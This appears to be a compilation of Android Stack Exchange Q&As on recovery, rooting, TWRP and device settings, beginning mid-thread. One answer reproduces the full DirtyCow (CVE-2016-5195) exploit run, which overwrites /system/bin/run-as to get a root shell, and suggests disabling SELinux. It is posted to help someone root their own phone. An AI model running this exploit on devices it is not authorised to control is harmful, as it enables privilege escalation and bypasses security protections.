The computer/port/cable I am using are the ones that I have been using everyday for years to transfer files and debug apps over USB. I also tried a wall charger and new cable too to make sure, same result.

The Nexus 5 is unencrypted.

After plugging the phone into a Windows computer (instead of my usual Linux), fastboot miraculously stayed on, and I was able to get the following information:

### Partitions

```
~ # cat /proc/partitions
major minor  #blocks  name

 179        0   30535680 mmcblk0
 179        1      65536 mmcblk0p1
 179        2       1024 mmcblk0p2
 179        3        512 mmcblk0p3
 179        4        512 mmcblk0p4
 179        5        512 mmcblk0p5
 179        6        512 mmcblk0p6
 179        7       2048 mmcblk0p7
 179        8       1024 mmcblk0p8
 179        9        512 mmcblk0p9
 179       10        512 mmcblk0p10
 179       11        512 mmcblk0p11
 179       12       3072 mmcblk0p12
 179       13       3072 mmcblk0p13
 179       14        512 mmcblk0p14
 179       15      16384 mmcblk0p15
 179       16      16384 mmcblk0p16
 179       17       3072 mmcblk0p17
 179       18      22528 mmcblk0p18
 179       19      22528 mmcblk0p19
 179       20      22528 mmcblk0p20
 179       21       3072 mmcblk0p21
 179       22        512 mmcblk0p22
 179       23        512 mmcblk0p23
 179       24        512 mmcblk0p24
 179       25    1048576 mmcblk0p25
 179       26      30720 mmcblk0p26
 179       27     716800 mmcblk0p27
 179       28   28551146 mmcblk0p28
 179       29          5 mmcblk0p29
 179       32       4096 mmcblk0rpmb

```

### Mount

```
~ # mount
rootfs on / type rootfs (rw,seclabel)
tmpfs on /dev type tmpfs (rw,seclabel,nosuid,relatime,mode=755)
devpts on /dev/pts type devpts (rw,seclabel,relatime,mode=600)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,seclabel,relatime)
selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,seclabel,relatime)
/dev/block/mmcblk0p25 on /system type ext4 (ro,seclabel,relatime,data=ordered)

```

### Block names

```
~ # ls -l /dev/block/platform/msm_sdcc.1/by-name
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 DDR -> /dev/block/mmcblk0p24
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 aboot -> /dev/block/mmcblk0p6
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 abootb -> /dev/block/mmcblk0p11
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 boot -> /dev/block/mmcblk0p19
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 cache -> /dev/block/mmcblk0p27
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 crypto -> /dev/block/mmcblk0p26
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 fsc -> /dev/block/mmcblk0p22
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 fsg -> /dev/block/mmcblk0p21
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 grow -> /dev/block/mmcblk0p29
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 imgdata -> /dev/block/mmcblk0p17
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 laf -> /dev/block/mmcblk0p18
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 metadata -> /dev/block/mmcblk0p14
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 misc -> /dev/block/mmcblk0p15
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 modem -> /dev/block/mmcblk0p1
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 modemst1 -> /dev/block/mmcblk0p12
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 modemst2 -> /dev/block/mmcblk0p13
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 pad -> /dev/block/mmcblk0p7
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 persist -> /dev/block/mmcblk0p16
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 recovery -> /dev/block/mmcblk0p20
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 rpm -> /dev/block/mmcblk0p3
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 rpmb -> /dev/block/mmcblk0p10
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 sbl1 -> /dev/block/mmcblk0p2
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 sbl1b -> /dev/block/mmcblk0p8
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 sdi -> /dev/block/mmcblk0p5
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 ssd -> /dev/block/mmcblk0p23
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 system -> /dev/block/mmcblk0p25
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 tz -> /dev/block/mmcblk0p4
lrwxrwxrwx    1 root     root            20 Jan  1 01:00 tzb -> /dev/block/mmcblk0p9
lrwxrwxrwx    1 root     root            21 Jan  1 01:00 userdata -> /dev/block/mmcblk0p28

```

### Filesystem

```
~ # blkid /dev/block/mmcblk0p28
/dev/block/mmcblk0p28: UUID="57f8f4bc-abf4-655f-bf67-946fc0f9f25b" TYPE="ext4"

```

### Wiping cache

```
~ # twrp wipe cache
Formatting cache using make_ext4fs...
Failed to mount '/cache' (Invalid argument)
Done processing script file

~ # mke2fs -t ext4 /dev/block/mmcblk0p27
mke2fs 1.42.9 (28-Dec-2013)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
44832 inodes, 179200 blocks
8960 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=184549376
6 block groups
32768 blocks per group, 32768 fragments per group
7472 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840

Allocating group tables: done
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

~ # twrp reboot
command is: 'reboot' and there is no value
Failed to mount '/data' (Invalid argument)
Failed to mount '/data' (Invalid argument)
E:a
Done processing script file

```

Doing that cache wipe did not solve the problem, unfortunately: The OS animation has been running for 3 hours already.

**Question**: How to at least get the content of my Nexus 5's /sdcard saved to a computer? Or maybe even fix the Nexus if possible?

# Answer
> 1 votes
I guess the problem is related to cache partition. you can try to fix it with

```
fastboot format:ext4 cache

```

or from twrp recovery with

```
adb shell twrp wipe cache

```

also formatting the cache partition will help

```
adb shell mke2fs -t ext4 /dev/block/mmcblk0p27

```

You can manually backup your data (sdcard) partition. if data is encrypted, mount it with
`twrp decrypt <password>` where you have to use your screen lock pin/password. if you use a screen lock pattern you must translate it to password (see https://blog.alxu.ca/unlocking-large-pattern-encryption-in-twrp.html)
GNU tar for android and external MicroSD Card or USB-OTG flash drive is required for this. The tar binary is included in open\_gapps.zip, download and unpack it, copy the binary to MicroSD Card and rename it to "tar"

```
mkdir /data
mount -t ext4 -o ro,noexec,noload,noatime /dev/block/mmcblk0p28 /data
cp /external_sd/tar /tmp
chmod a+x /tmp/tar
/tmp/tar --selinux --xattrs --numeric-owner -vcpP /data | gzip | split -a 1 -b 1024m - /external_sd/data.ext4.tar.gz.

```

if partition is not mountable, you can copy the partition with dd

```
dd if=/dev/block/mmcblk0p28 of=/external_sd/data.img            bs=1024 count=28551146
dd if=/dev/block/dm-0       of=/external_sd/data_decrypted.img  bs=1024 count=28551146

```

edit: (thx @ Nicolas Raoul) if your phone neither has external MicroSD Card nor USB-OTG support, you can stream the partition over adb.

```
adb pull /dev/block/mmcblk0p28  C:\adb\data.img
adb pull /dev/block/dm-0        C:\adb\data_decrypted.img

```

Open the file with **OSFMount** or mount it from sudo (see above command). The sdcard folder is located `/data/media/0`. If you want to restore the apps later on encrypted data partition, it is recommended to create a tar archive (in addition to the above flags) with `--exclude data/media` this will reduce the backup size. the restoring command line is

```
cat /external_sd/data.ext4.tar.gz.* | gzip -d | /tmp/tar --selinux --xattrs -vxpPC /

```

---
Tags: data-recovery, nexus-5, boot-loop, fastboot, lineageos
---


# Question
Title: Update a rooted Android phone from 4.4 to newer version
I have a rooted sony xperia Z2 with Android 4.4.4

Is it possible to update the phone to a newer Android version and still have root permissions?

# Answer
> 0 votes
You can definitely get a newer Android version, and i suggest you Do it Regardless of the Minor Bugs...

Major Bugs are a different story, but for Minor Bugs... The added Security of even Android 5.0 will be a vast improvement over Android 4.4

To make sure that you dont already have an Official OTA ( Over The Air ) Update...

Go to
• Settings
• About
• Software Updates

And try a Update in the Settings,

If your Update Application returns that you have the Latest update, you need to do the Update by Installing a Custom Recovery & Firmware..

I looked around and found a lot of Stable options for your Model...
Official Resurrection Remix - Nougat Based

This is an official build of Resurrection remix based on Android 7 ... That is already jumping a few upgrades !

Have a look around for some Stable & Daily Use builds....

---
Tags: rooting, 4.4-kitkat, updates, sony-xperia-z2
---


# Question
Title: I am not Able to install Gcam app on my Note 9? Any Hack to use Gcam on Note 9?
I want to use Gcam app which is Google Camera on Note 9 but it is not installing. Any help would be appreciated.

# Answer
> 0 votes
The APK version you downloaded might not be supported on your device. Try downloading from here: https://www.xda-developers.com/google-camera-port-hub/

---
Tags: google-camera
---


# Question
Title: Is speed improvement to be expected from rooting/modding a Samsung Galaxy Player 4.2 YP-GI1
I have an old Samsung Galaxy Player 4.2 YP-GI1 lying around and would like to use it either as a media player or a media center remote. However even after a factory reset the device or the UI reacts like a slug. There is some bloatware on it some of which can apparently not be deactivated. Will rooting and throwing something like the Ethereal ROM on it (as listed here: https://forum.xda-developers.com/showthread.php?t=1720457 ) considerably improve its performance?

I am asking because I tried SuperOneClick and it does not work. I guess it is not worth the time and effort if I can not expect better performance. What are your thoughts?

# Answer
Gaining ROOT Access will not impact performance at all...

It is what you do to Tweak the performance After Gaining Root that will have a drastic effect on performance..

But Always Remember that Performance and Power Consumption come Hand in Hand..

The Higher the Performance m, The quicker the power drain ... The Sloweemr the Performance The Slower the Drain...

It is why many people UnderClock their devices, rather than OverClock...

That being said, Yes you can expect some Performance enhancements with the correct Tweaks....

For example, Using a Popular Benchmark software, i was able to get a performance increase of about 500% .. . The initial device at Factor specifications gave me 1/ 5th of the Benchmark from a Tweaked device...

The most effective twaeks are adding difference props inside the Build.prop file under /system .Of course /system is not available to edit without Root Access.

---

---

To have a less slugish experience Without using root access, i suggest the following tweaks.

* Remove BloatWare

+ Apps you don't ever plan to use.
* Disable Apps that Can not be removed
* Open Storage Settings, and Click on Caches
    + Clear your App Caches
* Clear your Browser Cookies

+ This one is a bit strange, but it works on many device's.
* Disable Animations in Development Options

+ Android displays Animations every single time you open or close something, this can Add up to 4 years of someone's life just waiting for Animations, it takes a lot of resources to load the animations and that drastically effects battery life and performance.

I've added some example screenshots of disabling Animations below.

---

---

---

---

##
> 0 votes

---
Tags: rooting, samsung-galaxy-nexus, performance
---


title: Error when using DirtyCow

text:
# Question
Title: Error when using DirtyCow
I get an error when launching an exploit CVE-2016-5195. The work of the exploit is completed, without getting root rights. I checked my phone for this vulnerability with make test, as a result I received that the phone is affected by this vulnerability.

I will be grateful for the help.

# Answer
Did you use this ADB Exploit specifically for Android ?

```
$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
[x86_64] Install        : dirtycow => libs/x86_64/dirtycow
[x86_64] Install        : run-as => libs/x86_64/run-as
[mips64] Install        : dirtycow => libs/mips64/dirtycow
[mips64] Install        : run-as => libs/mips64/run-as
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
[armeabi] Install        : run-as => libs/armeabi/run-as
[x86] Install        : dirtycow => libs/x86/dirtycow
[x86] Install        : run-as => libs/x86/run-as
[mips] Install        : dirtycow => libs/mips/dirtycow
[mips] Install        : run-as => libs/mips/run-as
make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
[100%] /data/local/tmp/dcow
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (17944) differ

[*] size 5544
[*] mmap 0xb536b000
[*] currently 0xb536b000=464c457f
[*] madvise = 0xb536b000 5544
[*] madvise = 0 0
[*] /proc/self/mem 5544 1
[*] exploited 0xb536b000=464c457f
adb shell /system/bin/run-as
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
/system/bin/sh: can't find tty fd: No such device or address
/system/bin/sh: warning: won't have full job control
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ #

```

Because it Only Gains Root Access,... You need to install a Root Access Manager yourself...

After getting UID = 0 ( Root Access ) Push SU Binary & Super User Application to the device..

> This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device.

You need to disable SE Linux Also...
> 1 votes

---
Tags: root-access, 5.0-lollipop, superuser
---


# Question
Title: "Parental Control" app or setting for work
I'm searching for an app or settings that will allow only 2 applications to be used on an android tablet.

They would use android and a web dashboard on chrome, on chrome they would get a certain link automatically loaded and I would try to make it impossible to go to other pages.

I want to only allow those two apps to be used.

I've looked in to kiosk mode ( but thats single app usage) I've tried COSU but that also not a solution. And parental control apps, but they show advertisement which I can't allow on the work floor.

# Answer
> 0 votes
Well there is no such kind of application for parenting control for Android. There are a lot in different applications in Play Store but doesn’t seem anything akin to your requisite.

You can endeavor NORTON FAMILY PREMIER and check if that’s worth.

# Answer
> 0 votes
I'm not sure in the resources or references of the last answer but from my understanding their is literally hundreds of Applications on Google's Play Store that are All specifically targeted towards parental and elderly care..

These applications can assist you in doing many things, from identifying communication with a predator online to making sure your grandmother is still walking around the house at least once every so many hours...

Due to Android changes throughout it's evolution it is hard to say exactly what Application will work on your device..

Due to my research as an Android Enthusiast & Independent Developer, I have found that you are Most Definitely going down the path of Launchers..

The Launcher is the Very First application that runs on Android, If you use a specifically designed App Locker in conjunction with a Launcher... You will have the ability to perform a full device Lock Down, So-To-Speak.

Obviously you can find prebuilt Launchers Source Codes online, if you want to implement your own App Selection Screen within the device Launcher.

I hope this at least helps you find a correct solution on your endeavor.

---
Tags: kiosk-mode, parental-control
---


# Question
Title: TWRP 3.3.0 cannot decrypt data partition (of Android 9)
I just updated to TWRP 3.3.0 from older PitchBlackTWRP but now TWRP does not ask for the password any more. Tried manually decrypting and manually wiping from TWRP terminal. Did not help.

```
recovery --wipe_data
twrp decrypt <your password>

```

How does Android encryption work? Does TWRP need except the password some device key?

Booting the system still works fine, so still everything is available what's needed for decryption.

Yes, I saw TWRP OnePlus 5T not asking for encryption password , but the solution did not help. And I am not allowed to comment.

Should I reinstall PitchBlack-TWRP?

ps. I don't need the data, did a backup before.

# Answer
> 2 votes
Well, sorry for bothering. The solution was simple: Don't use the wipe function of TWRP but the `Format Data` button in the wipe menu.

I was able to factory reset and install a different custom rom.

BTW: Don't use TWRP for Android \>= 9 (Pie). As of Version 3.3.0 TWRP lacks the vendor partition feature. Pitchblack seems to be the standard now.

Edit: I think the problem is: Android 9 introduced the quota feature of the ext4 filesystem. TWRP doesn't know about it yet.

---
Tags: twrp, disk-encryption
---


title: I need to relock bootloader

text:
# Question
Title: I need to relock bootloader
I was trying to unlock my phone, LG Aristo, so that I could sell it. I unlocked bootloader, and now I need to relock it. How do I do that?

# Answer
The standard set of commands should work:

First of all make sure that your phone is all stock and there's no tampering or modification. Then:

```
fastboot oem lock-go

```
> 0 votes

---
Tags: bootloader
---


# Question
Title: What actually gets backed up, how many times?
Say I have a photo `A` taken by the phone camera. It is stored somewhere, but can be seen in the stock Gallery app as well as the Google Photos app. `Q1`:Are both apps using the same physical copy or are there two copies?

Then, say, my WhatsApp has a photo `B` I received in a conversation. It is I presumed stored in `/WhatsApp/Media/whatsApp Images`. It can also be seen in the Gallery and Photos apps.

My WhatsApp has backup set to `Back up to Google Drive Daily` using Google Account `X`. `Q2:`Is this a special arrangement between Google and WhatsApp, because I cannot see anything regarding this in https://drive.google.com.

In the Photos app, Settings, Back up & Sync, the BACKUP ACCOUNT is `Y`, my other Google Account I have configured on the same phone. In the `Back Up device folders` details, `WhatsApp Images` is enabled. `Q3:`Does this mean that my WhatsApp photo `B` is backed up to my Google Drive in account `Y` as well as the special WhatsApp backup in Google Drive in account `X`?

# Answer
> 1 votes
> Q1:Are both apps using the same physical copy or are there two copies?

They are both the same copy. Both apps scan the location the photo is stored, and the location contains only 1 copy of the file. If you have 5 copies of the same file, in the same folder, both apps will show you 5 photos, not 10.

> Q2:Is this a special arrangement between Google and WhatsApp, because I cannot see anything regarding this in https://drive.google.com.

I presume yes. On Android, WhatsApp uses Drive for backups, while on iOS, it uses iCloud.

> Q3:Does this mean that my WhatsApp photo B is backed up to my Google Drive in account Y as well as the special WhatsApp backup in Google Drive in account X?

Yes. Although the accounts are differents, both apps have been configured to access the same folder (in this case, WhatsApp Images). Thus, when backing up files, they both backup the same files in both accounts.

# Answer
> 0 votes
> Q2:Is this a special arrangement between Google and WhatsApp, because I cannot see anything regarding this in https://drive.google.com.

There is close collaboration between WhatsApp Account & Google Drive - You can read the details for this in the FAQ of WhatsApp for backup

The major motive behind this is You can back up your chats and media to Google Drive, so if you change Android phones or get a new one, your chats and media are transferable.

> Q3:Does this mean that my WhatsApp photo B is backed up to my Google Drive in account Y as well as the special WhatsApp backup in Google Drive in account X?

To determine which Google Drive account is used by WhatsApp You can do below steps - Tap **Open WhatsApp & then go to Menu \> Settings \> Chats \> Chat backup**.

In this screen you should be able to see the Google drive settings that also displays you the name of Google Drive account used by WhatsApp

---
Tags: whatsapp-messenger, google-photos, google-backup
---


# Question
Title: How to allow an app to take screenshots automatically?
How can I allow an app to automatically take screenshot?

I'm not talking about apps disabling screenshots on them, I can take screenshot of the thing manually, but I'd like to automate it. I use the app Automate, which has a screenshot action, but when I run it, a dialog appears asking me if I want to allow the app to see everything what is on screen, and that happens every time. I basically want to autoapprove this dialog.

Is there a way to do that?

Thanks

# Answer
OK, so I got one possible workaround: use the Automate interact touch block to click on the confirmation button, like in this flow:
> 1 votes

---
Tags: privacy, automation, screenshots, automate
---


title: How do I set up erase and secure?

text:
# Question
Title: How do I set up erase and secure?
My phone was stolen so I tried to erase from Samsung Device Manager but it just sends an erase instruction which I don't know whether the person who turns my phone on will be able to just stop from the device or not :(

Also the erase button on google device which sends a notification to the stolen phone to set up, the friendly thief ;)

So I'm trying to not be in the same position again, I don't understand how to set up erase and secure from my new device.

Please help, Thanks

# Answer
> 0 votes
## Remotely find, lock, or erase an Android device:

1. Go to android.com/find and sign in to your Google Account.

* If you have more than one device, click the lost device at the top of the screen.
    * If your lost device has more than one user profile, sign in with a Google Account that's on the main profile. Learn about user profiles.
2. The lost device gets a notification.
3. On the map, see about where the device is.

* The location is approximate and might not be accurate.
    * If your device can't be found, you'll see its last known location, if available.
4. Pick what you want to do. If needed, first click Enable lock & erase.

* **Play sound**

    Rings your device at full volume for 5 minutes, even if it's set to silent or vibrate
    * **Lock**
    Locks your device with your PIN, pattern, or password. If you don't have a lock, you can set one. To help someone return your device to you, you can add a message or phone number to the lock screen.
    * **Erase**
    Permanently deletes all data on your device (but might not delete SD cards). After you erase, Find My Device won't work on the device. Important: If you find your device after erasing, you'll likely need your Google Account password to use it again. Learn about device protection.

More informations: support.google.com

---
Tags: samsung, security, lost-phone
---


title: AR Core OnePlus 3T

text:
# Question
Title: AR Core OnePlus 3T
Recently, I reset my `OnePlus 3T` settings. So, after that, it says that my phone doesn't support `AR`. But it worked before and this phone in the list of supported devices.

Ar Core version - `1.9.190422056` \- the newest.

# Answer
> 0 votes
Just install ARCore by Google

> ARCore is Google's platform for building augmented-reality experiences.

If it still doesn't work, try first to **restart the phone**. Then if you still have the error message try some alternative AR applications like Measure.

# Answer
> 0 votes
So, as I investigated - `OnePlus 3T` just is not supported in version `1.9`, so I deleted `ArCore` apk-file and in my dependencies in `Gradle` set `1.8` version. After that installed version `1.8` of `ArCore`

---
Tags: oneplus-3
---


title: How to prevent apps auto-reinstalling?

text:
# Question
Title: How to prevent apps auto-reinstalling?
Almost every time I connect my phone to my PC apps auto-reinstall in the background. I say "auto-reinstall" rather than "auto-update" because the versions aren't changing.

Auto-update is disabled but `logcat` indicates the apps are being auto-updated:

`root@android:/ # logcat -v long *:V | grep -C 1 "Requesting install"` `[ 05-05 13:30:27.732 5687: 5687 I/Finsky ]
[1] khl.a(2): Requesting install request=package_name=com.example.app, version=123, priority=3,`**reason=auto\_update**`, account_name=[xxxxxxxxxxxxxxxxxxxxxxxxxxx], type=0, constraints=((REQ_CHARGING, REQ_GEARHEAD_PROJECTION_OFF, NETWORK=UNMETERED, PROVISIONING_STATE=PROVISIONED, ),)`

Why does this happen? How do I stop it?

# Answer
> 1 votes
This is hardly a satisfactory solution, but I've taken to freezing the Google Play Store app (`pm disable com.android.vending`) except for when I explicitly need to use it (I also use Yalp Store and APKGrabber for updating apps).

---
Tags: google-play-store, 5.1-lollipop, usb-debugging, application-autoupdate
---


# Question
Title: Link2SD: mounting /dev/block/vold/179:66 on /data/sdext2 failed: No such file or directory
I am using a rooted Xperia Z5 Compact E5823 with the latest stock Android 6.0 ROM.
I am trying to use a 2nd partition with Link2SD but so far I always get the same "No such file or directory"-error:

> **Mount script error**
>
> Mount script cannot be created.
>
> mount: mounting /dev/block/vold/179:66 on /data/sdext2 failed: No such file or directory

To format my microSD card I've used GParted under Debian with `ext2`, `3`, and `4`, always as primary partition. I've also used TWRP recovery to format this 2nd partition. With this I have only tried `ext3`, which my Debian recognizes as `ext2` and there seems to be no way to choose which type of partition (I suppose they have primary as default). With TWRP I could also try `ext4` but preferred to 1st post here.

I do see a `/data/sdext2` folder with help of a root file browser. This folder is empty.

The "file" `/proc/partitions` does show a `179 66 2000000 mmcblk1p2` entrance, which correspond to the second partition of my external SD card.

Link2SD has superuser permissions and its mount script `/data/data/com.buak.Link2SD/init-link2sd.sh` looks like this:

> set +e
> echo "$(date) mounting..." \> $LOG
> sleep 2
> mount -t ext2 -o rw /dev/block/vold/179:66 /data/sdext2 1\>\>$LOG 2\>\>$LOG
>
> mount -t ext2 -o rw /dev/block/mmcblk1p2 /data/sdext2 1\>\>$LOG 2\>\>$LOG
>
> mount \>\> $LOG
> echo "$(date) mount finished" \>\> $LOG
> chmod 773 /data/dalvik-cache

# Answer
This error was very tricky to track! It took me a while to re-address it and here is what I have found out and how to solve it.

**A little on mmcblk\_p\_**

1. SD cards are special about their "block-partition"-suffix, i.e. the `-blk*p*` part.
2. For the user, the numbers in the suffix `-blk*p*` are, on practical matters, determined by the system the card is mounted on.
3. Link2SD's script is sensitive to the correspondance of the microSD card's "internal" partition-suffix (`-p*`) and its "external"/"mounted" under some system. (Thus, the `No such file or directory`).

**Solution**

For Link2SD's default mount script to succeed, **you must delete and re-do the microSD card's partition table** (with GParted or similar) and then do its two (or more) partitions, the second one being an `ext2`-filesystem. This will yield a correspondance on the suffix-numbers `-p*` of your "second `ext2`-partition" both **in** the card and **under** the system.

**Background**

Well, I noticed that each time an SDcad gets a new partition the last index in the suffix `-blk*p_` "advances". The microSD card in question has been partitioned more that three times without resetting its partition table. That card has no "internal" `-p2` eventhough Android's kernel addresses it as such! (Tricky, huh?!) It seams that Android's kernel only takes the number of existing partitions to create the `/proc/partitions`-addresses instead of the total count of partitions ever done under an existing partition-table.

**Extra-Info**

Link2SD guarantees that your second `ext2`-partition won't be shown on your PC when you plug your device to it via USB. This is true for Windows but unfortunately not true for GNU+Linux! Windows does not recognizes `ext2`-filesystems. GNU+Linux does. As a consequence some APPs might have trouble retrieving ingormation from `/data/sdext2`.

**Finally**

Link2SD latest version at the PlayStore is 4.3.4 from 21.06.2018 and it locates its mount-script at `/data/data/com.buak.Link2SD/files`.

Also, for more information, visit Link2SD's official site.
> 0 votes

# Answer
You can use application "Apps2SD" mount a 2nd partition (after remove it and use Link2SD). (**Don't use it if you only use 1 partition is sdext2**) If you use **android 6.0** and use **both 2nd partition and "Adoptable storage"** use "Root Explorer" go to path "/etc/apps2sd-mountscript.sh" edit it. Because use 2 partition, so default it use if create is "dev/block/**mmcblk1p1** /data/sdext2", you change it to "dev/block/**mmcblk1p2** /data/sdext2" (I use Sony M4 aqua dual)
> 1 votes

---
Tags: external-sd, partitions, link2sd
---


# Question
Title: Strange status bar icon on Samsung devices after using Developer Options
I have a Samsung Galaxy S8 phone running Android 8.

I have enabled Developer Options today and after I finished with it, I disabled it again.

The problem is that a strange icon has left on the status bar. This icon appeared immediately after I enabled Developer Options.

Here is a screen of it.

What's this icon and how can I hide it?

Thank you very much for your help.

# Answer
The icon appears to be for when the device is locked to "Portrait" mode. Or in simpler terms, when screen rotation is turned off. It is most likely inbuilt into the phone and was there before. In case it wasn't, you can disable it from the SystemUI tuner. Simply tap and hold on the gear (settings) icon which you see when the notifications bar is pulled down. That will enable the SystemUI tuner. In there, select status bar and disable the icon for *Auto-rotate screen*.
> 1 votes

---
Tags: notification-bar, notification-icons, developer-options
---


# Question
Title: Google playstore showing "similar app available here" in green bar
Many apps like Facebook, Linkedin have two versions. One small and one full version. When you go to playstore and navigate to any of these apps you see "similar app available here" written below app logo and name in green background.

On what basis does google playstore (android app, web version doesn't show such thing) show this?

https://play.google.com/store/apps/details?id=com.facebook.katana

https://play.google.com/store/apps/details?id=com.facebook.lite

Why it does not show whatsapp and whatsapp business in similar fession?

https://play.google.com/store/apps/details?id=com.whatsapp

https://play.google.com/store/apps/details?id=com.whatsapp.w4b

# Answer
> 2 votes
To what I know, Play Store only suggests lite versions of the apps under this current setup. The lite versions of Google apps (at least) were originally developed for Android Go smartphones. But then Google decided that users of standard Android smartphone might also wanna try the lite versions.

So, you get app suggestions for YouTube, Google Maps, Facebook, Messenger etc. WhatsApp isn't shown since WhatsApp doesn't have a lite version.

The current setup is only there to push a lighter (and faster?) version of the same app. Its intention is not exactly to give you *similar* apps. Similar apps are offered later on, at the end of the app description. Yeah the wording could have been better, but Google is the boss. Maybe Google will expand the functionality in the future to get something like what you're expecting in the latter part of your question.

**Edit**: From the source (in comments), it does look like Google is also suggesting a bigger version of the app when you're browsing the lite verison. Still, my answer stands relevant as it is only doing the juggling between lite and standard app and not exactly doing similar/related apps.

---
Tags: google-play-store
---


# Question
Title: How to read and edit all the /system files from TWRP without root?
I want to edit my hosts file(/system/etc/hosts)to block ads. I thought to boot from the recovery and edit it from using the Advanced/Terminal utility. I realised that I was root(the mark was #). I ran cd /system then I ran the ls command but the only visible file was the bin directory. I tried to run cd etc but it didn't work. How can I access them without root my device?

# Answer
> 2 votes
Go to mount and tick system. You should see the files now.

---
Tags: twrp
---


# Question
Title: Rooted Moto Z2 Play seemingly bricked after accidental OTA update. Any chance to save it?
I have had my Z2 Play for half a year, and soon after I got it I unlocked the bootloader with Motorola's official method, installed TWRP, rooted it with Magisk and installed Xposed Framework. I was on Nougat all the time and used it happily. A few months ago it started repeatedly asking to OTA update, but I just ignored the messages. Then one day, I must have accidentally pressed something, because I think it tried to update. I got a message that the update failed or something like that.

The phone gradually got worse after that, randomly rebooting into TWRP. I could somehow get it to boot Android by going to the bootloader and chosing "factory mode" but mostly the modem would not work at all and the phone would not be usable.

Trying to solve it, I decided to flash a whole ROM, hoping to remove all of the damage done by the botchered update. Since I already had unlocked my bootloader and TWRP, I decided to just flash a custom ROM, since I did not know if flashing stock would work with TWRP. I found some of the custom ROMs on XDA, and tried to flash them with TWRP. However, flashing would not work. I got some error code 255. I am attaching a screenshot of the error.

I tried both flashing via the adb sideload method via my Mac and via USB OTG (flash drive) but I got the same result for both.

Having seen this, I decided to try to relock the bootloader and restore stock firmware. I tried following this tutorial. However, that did not seem to work. Here is my fastboot output:

```
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot devices
ZY224BLVMC  fastboot
Pals-MacBook-Air:platform-tools Fiksdal$ ./fasboot oem lock begin
-bash: ./fasboot: No such file or directory
Pals-MacBook-Air:platform-tools Fiksdal$ fastboot oem lock begin
-bash: fastboot: command not found
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot oem lock begin
(bootloader) WARNING: This command erases all user data.
(bootloader) Please re-run this command to continue.
OKAY [  0.003s]
Finished. Total time: 0.005s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot oem lock begin
(bootloader) Flash valid Android images now
(bootloader) Then re-run this command to lock
OKAY [  0.018s]
Finished. Total time: 0.018s
Pals-MacBook-Air:platform-tools Fiksdal$ ./fastboot flash partition gpt.bin
(bootloader) has-slot:partition: not found
Sending 'partition' (45 KB)                        OKAY [  0.008s]
Writing 'partition'                                (bootloader) Validating 'gpt.default.xml'
(bootloader) Security version downgrade
(bootloader) Image primary_gpt failed validation
(bootloader) Preflash validation failed
(bootloader) Cancelling 'gpt.default.xml'
FAILED (remote failure)
Finished. Total time: 0.264s
Pals-MacBook-Air:platform-tools Fiksdal$ sudo fastboot flash partition gpt.bin
Password:
sudo: fastboot: command not found
Pals-MacBook-Air:platform-tools Fiksdal$ sudo ./fastboot flash partition gpt.bin
(bootloader) has-slot:partition: not found
Sending 'partition' (45 KB)                        OKAY [  0.005s]
Writing 'partition'                                (bootloader) Validating 'gpt.default.xml'
(bootloader) Security version downgrade
(bootloader) Image primary_gpt failed validation
(bootloader) Preflash validation failed
(bootloader) Cancelling 'gpt.default.xml'
FAILED (remote failure)
